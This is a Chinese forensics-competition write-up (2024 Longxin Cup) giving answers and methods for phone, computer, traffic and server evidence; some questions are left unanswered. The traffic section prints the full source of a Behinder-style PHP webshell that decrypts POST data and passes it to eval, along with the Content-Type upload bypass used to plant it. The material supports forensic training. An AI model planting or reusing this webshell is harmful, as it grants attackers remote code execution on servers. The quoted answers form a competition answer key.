第二届 龙信杯 电子数据取证竞赛部分Writeup

大佬文章: 

龙信杯复现(23、24) | Bthcls'Blog

手机部分

资料:2024年第二届龙信杯 WP_2024龙信杯wp-CSDN博客

1.分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3]    2

/data/adb/magisk.db其实是magisk APP的数据库,而policies表是APP用来根据包名,用户id决定策略的。

Magisk的policies表位于/data/adb/magisk.db数据库中,主要用于存储Magisk模块的配置信息。

Android 设备在通过 ADB 连接时,通常会要求用户授权连接,会要求用户确认设备授权,并将该设备的公钥保存在 adb_keys 文件中。该文件保存在/data/misc/adb/adb_keys

如果要查看ADB的相关配置,可以在/misc/adb/中找到,在此文件夹中包含adb_temp_keys.xml,其中存储了ADB 密钥,那么受害人手机上包含了2条密钥,因此连接过2台设备 

2.分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17]    2024-08-23

在便签中可以直接找到8月12日说下周五考试,下周五是8月23日

3.分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12]       48:87:59:76:21:0f

蓝牙Mac地址存在于misc_1/bluedroid/bt_config.conf

4. 分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3]     6

这道题如果用的火眼,记得分析耗时任务中的特征分析

在搜索记录中能够发现filecompress,知道其包名为com.zs.filecompress,全局搜索后在media_425/0/FileCompress下发现压缩包(名字.txt,实际是压缩包)

 5.分析手机检材,请问机主的另外一个155的手机号码是多少?[标准格式:15555000555]

15599555555

/app/~~_jzJxEiovvVW2OdDRNs_dw==/com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==下找到apk文件

上面导出apk文件后,查看该apk文件的manifest,找到入口为MainActivity,找到压缩密码为1!8Da9Re5it2b3a.

这里使用到雷电手机取证工具

对第四题的6个压缩包解密即可,在mm.txt中找到另一个电话

 6.分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。(标准格式:abc123)

d7Avsd!Y]u}J8i(1bnDD@<-o

 接上一个题可得

7.分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[标准格式:张三]

既然上题知道了容器密码,那么现在去找容器,在

受害人手机检材.tar/media_425/0/Download/data 中发现容器,但是并不是简单的vc容器挂载,而是tc加密

资料:

【常见加密容器的取证方法】

使用tc进行挂载,发现成功

 使用大佬脚本

import pandas as pd
file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
phone_to_name = {}

for name, phone, inviter, inviter_phone in zip(df['姓名'], df['手机号'], df['邀请人'], df['邀请人手机号']):
    if phone not in phone_to_name:
        phone_to_name[phone] = name
    elif phone_to_name[phone] != name:
        print(f"警告:手机号 {phone} 对应了多个不同的姓名:{phone_to_name[phone]} 和 {name}")

    if inviter_phone not in phone_to_name:
        phone_to_name[inviter_phone] = inviter
    elif phone_to_name[inviter_phone] != inviter:
        print(f"警告:手机号 {inviter_phone} 对应了多个不同的邀请人:{phone_to_name[inviter_phone]} 和 {inviter}")
#警告:手机号 15979503550 对应了多个不同的姓名:陆陆 和 陆俊梅

8.分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]

刘珏兰

手动筛选xlsx表格,可以得出上级关系是:陆俊梅-->肖玉莲-->刘珏兰-->总部

 

9.分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[标准格式:10]    12

10.分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[标准格式:100]

11.分析手机检材,机主共开启了几款APP应用分身?[标准格式:3]   2

12.分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[标准格式:1]   2 

13.分析手机检材,请问勒索机主的账号是多少(非微信ID)?[标准格式:AB123CD45]

1836042664454131712

14.分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[标准格式:2]  1

15.分析手机检材,请问会盗取手机信息的APP应用包名是什么?[标准格式:com.lx.tt]

com.lxlxlx.luoliao

在微信聊天记录中,能够发现盗取手机信息的APP

使用雷电打开

16. 接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]

40085222666

发现可疑的编码 

继续跟进,发现存在AES解加密

 既然是AES就要寻找key,在可疑 的编码这里找到key

key是E10ADC3949BA59ABBE56E057F20F883E,iv是其前16位,即E10ADC3949BA59AB

将可疑的编码进行解密

17.接上题,恶意程序偷取数据的收件邮箱地址的gmail邮箱是多少?[标准格式:lx@gmail.com]

1304567895@gmail.com 

雷电直接分析出邮箱

可以解密得出

18.接上题,恶意程序偷取数据的发件邮箱地址是多少?[标准格式:lx@gmail.com]

temp1234@gmail.com

smtp常用来发送邮件

进行解密

19.接上题,恶意程序偷取数据的发件邮箱密码是多少?[标准格式:abc123]    qwer123456

20.接上题,恶意程序定义收发件的地址函数是什么?[标准格式:a]   a

以下这段代码是一个用于配置和发送电子邮件的Java类的一部分,它使用自定义的加密/解码方法和外部库来安全地处理敏感信息,并通过SMTP协议发送邮件。 

计算机部分

在火眼中可以发现电脑的用户信息,登录密码,注意,这里的密码在重置时不要修改 

在火眼中还发现,存在加密文件

计算机取证用到了仿真软件

1.分析计算机检材,嫌疑人在将其侵公数据出售前在Pycharm中进行了AES加密,用于加密的key是多少?[标准格式:1A23456ABCD]

65B2564BG89F16G9

2.分析计算机检材,身份证为"371963195112051505"这个人的手机号码是多少?[标准格式:13013524420]

15075547510

通过已知条件,可知存在加密的文件,使用ai生成解密脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def aes_decrypt(encrypted_data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted_data.decode()

key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'

input_file = "encrypted_data.txt"
output_file = "decrypted_data.txt"

def process_decrypted_data(input_file, output_file, key, iv):
    with open(input_file, "r") as f_in, open(output_file, "w") as f_out:
        for line in f_in:
            parts = line.strip().split(',')
            index = parts[0]
            f_out.write(index + ",")

            decrypted_parts = []
            for part in parts[1:]:
                encrypted_part = bytes.fromhex(part)
                decrypted_part = aes_decrypt(encrypted_part, key, iv)
                decrypted_parts.append(decrypted_part)

            f_out.write(",".join(decrypted_parts) + "\n")

process_decrypted_data(input_file, output_file, key, iv)

print("解密完成。")

 解密完成之后,找到对应的电话号码

3.分析计算机检材,对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是多少?(身份证不甄别真假)[标准格式:100]   0

使用脚本,发现数量为0

# 打开文件并读取所有行
with open('decrypted_data.txt', 'r') as file:
    lines = file.readlines()
 
# 去除每行开头和结尾的空白字符
id_cards = [line.strip() for line in lines]
 
# 使用collections模块的Counter类来统计每个身份证号出现的次数
from collections import Counter
counter = Counter(id_cards)
 
# 计算重复的身份证号数量
duplicate_count = sum(count for count in counter.values() if count > 1)
 
print(f"身份证重复数量: {duplicate_count}")

>>>身份证重复数量: 0

4.分析计算机检材,接上题,根据身份证号码(第17位)分析性别,男性的数据是多少条?[标准格式:100]

工具使用方法:Navicat Premium基本使用教程-CSDN博客

 5001714

5.分析计算机检材,接上题,对解密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是多少?[标准格式:100]

5001185

6.分析计算机检材,计算机中存在的“VPN”工具版本是多少?[标准格式:1.1]   4.4

找软件WinXray

7.分析计算机检材,计算机中存在的“VPN”节点订阅地址是什么?[标准格式:http://xxx.xx/x/xxx] 

https://paste.ee/d/4eIzU

8.分析计算机检材,eduwcry压缩包文件的解压密码是什么?[标准格式:abcabc]  yasuomima

在下载中压缩包,并发现密码管理器中的密码

9.分析计算机检材,接上题,请问恶意程序释放压缩包的md5值是多少。[标准格式:全小写]

2024龙信杯wannacry勒索病毒题目分析_wannacry修改壁纸的函数-CSDN博客

10.分析计算机检材,接上题,请问恶意程序记录的洋葱浏览器下载地址是多少?[标准格式:http://xxx.xxx/xxx/xxx.zip]

注意:这里需要关闭防火墙的相关软件软件

然后在c.wnry中找到了。

11.分析计算机检材,接上题,请问恶意程序解密了t.wnry后该dll的md5值是多少。[标准格式:全小写]

12 分析计算机检材,接上题,恶意程序运行起来后第一个循环调用了几次taskkill.exe。[标准格式:2]
13 分析计算机检材,接上题,请问@WanaDecryptor@.exe.lnk文件是通过什么函数创建的。[标准格式:Aabcdef]
14 分析计算机检材,接上题,恶意程序修改系统桌面壁纸是在哪个函数实现的[标准格式:sub_xxx]

15.分析计算机检材,VeraCrypt加密容器的密码是什么?[标准格式:abc]

16.分析计算机检材,其中存在一个苹果手机备份包,手机备份包的密码是什么?[标准格式:12345]

75966

挂载data-backup,成功之后,即可得到一个苹果手机的备份包。

在浏览记录中发现用户搜索过如何解密5位数字密码的苹果备份

火眼中发现有密码

使用passware kit爆破密码

17. 分析计算机检材,接上题,机主实际篡改多少条微信数据?[标准格式:1]       3

18. 分析计算机检材,接上题,机主共存款了多少金额?[标准格式:10万]

在火眼的分析中,发现SQLite文件,里面的message有关键信息

19.分析计算机检材,在手机模拟器中勒索apk软件的sha256值是什么?[标准格式:全小写]

340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e

20.分析计算机检材,接上题,请问勒索apk软件的解锁密码是什么?[标准格式:qwer.com]

anzhuo.com

流量分析 

参考大佬文件:

http://t.csdnimg.cn/l0jVH

1.分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)宝塔

服务器IP为192.168.209.147。然后分析一下服务器的流量,发现了DNS信息,这边服务器主动请求了宝塔服务器。有其DNS解析记录,所以管理工具应该就是宝塔面板。

2.分析流量包检材,给出攻击者的ip地址是多少。(标准格式:127.0.0.1)

使用http contains "pwd"筛选出所有HTTP请求或响应中包含字符串"pwd"的数据包,有效地监控和分析网络中的敏感操作,确保网络安全,从里面可以看出攻击的ip地址

3.分析流量包检材,给出攻击者爆破出的网站非管理员用户名是。(标准格式:admin)

4.分析流量包检材,攻击者进行目录扫描得到的具有后门的页面url路径为。(标准格式:/abc.html)          /up_load.html

http.request.uri matches "/*.html".

 

5.分析流量包检材,攻击者通过修改请求包中的哪个字段导致恶意文件成功上传。(标准格式:test-type)Content-Type

看到这里失败了

过滤看一下有关流量,http.request.uri matches “/up_load.php”

这里是上传成功的

对比能够发现,修改为Content-Type: image/jpeg能上传php和jpeg,因此修改的字段就是Content-Type

 6.分析流量包检材,攻击者上传成功的恶意文件, 该文件的临时存放路径是。(标准格式:/abc/edf)/tmp/php38mbeJ

webshell在/uploaded_img/cont.php

7.分析流量包检材,服务器php配置文件的存放位置。 [标准格式:/www/sev/php.ini]

/www/server/php/82/etc/php.ini

 由木马内容可知AES128加密

追踪木马文件流,尝试以后,进行解密,最后在第127个流追到了对应的命令。

以下是冰蝎马

冰蝎:冰蝎3.0流量包简单分析_冰蝎3.0解密-CSDN博客

工具:Webshell 流量在线解密 

<?php
@error_reporting(0);
session_start();
//这行代码尝试将PHP的错误报告级别设置为0,即关闭所有错误报告。@符号是PHP中的错误控制运算符,用于抑制错误消息的显示。然而,这种做法在生产环境中通常不是最佳实践,因为它可能隐藏了重要的问题。
	$key="e45e329feb5d925b";
	$_SESSION['k']=$key;
	session_write_close();
//这里定义了一个密钥$key,并将其存储在会话变量$_SESSION['k']中。这可能是为了后续操作中使用这个密钥,尽管在当前脚本中未直接使用会话中的密钥。session_write_close();:写入会话数据并关闭会话文件。这通常用于在脚本中尽早关闭会话,以便其他脚本或页面可以读取或写入会话数据。
	$post=file_get_contents("php://input");//使用file_get_contents("php://input")读取原始POST数据。这对于处理非表单编码的POST请求(如JSON或XML)特别有用。
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
//接下来,根据是否加载了openssl扩展,以不同的方式解密POST数据:
    如果未加载openssl扩展,则使用简单的XOR加密与$key进行解密。注意这里使用了字符串的索引来访问字符,并通过$i+1&15确保索引在$key的长度范围内循环。
    如果加载了openssl扩展,则使用AES-128算法解密POST数据。然而,这里的实现存在一些问题:AES解密需要密钥、初始化向量(IV)和适当的模式(如CBC、ECB等),但这里只提供了密钥,没有提到IV和模式。
   $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
//解密后的数据被假设为函数名|参数的格式,通过explode('|', $post)分割成数组。
定义一个匿名类C,它实现了__invoke魔术方法。这意味着C的实例可以作为函数被调用,实际上执行的是eval($p);,其中$p是传递给__invoke方法的参数。
使用@call_user_func(new C(), $params);动态调用C的实例,并传入$params作为参数。
?>

根据以上继续进行解密,在20294流中得到对于的内容

接下来,解密内容(也在20294流中),发现数据库的密码

解密20294流中另一个base64,$path="L3d3dy93d3dyb290LzE5Mi4xNjguMjA5LjE0Nw==得到以下内容

  通过分析流量可知,配置存储文件在流127之前,通过筛选找到这个

/www/server/php/82/etc/php.ini

8.分析流量包检材,被攻击的web环境其数据库密码是。 [标准格式:qwer1234]

在上题中发现数据库的密码

X847Z3QzF1a6MHjR

9.分析流量包检材,服务器管理存放临时登录密码的位置。 [标准格式:/tmp/pass]

在29854流中发现相关信息,/tmp/tmppass 

10.分析流量包检材,黑客获取的高权限主机的登录密码。 [标准格式:qwer1234] 

passwd!@#

接上题,在一样的流中发现

服务器部分

1. 分析服务器检材,服务器会做登录密码验证,该登录验证文件位置在?[标准格式:/xxx/xxx/xxx.xxx]

2.分析服务器检材,服务器ssh端口是多少?[标准格式:1234]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值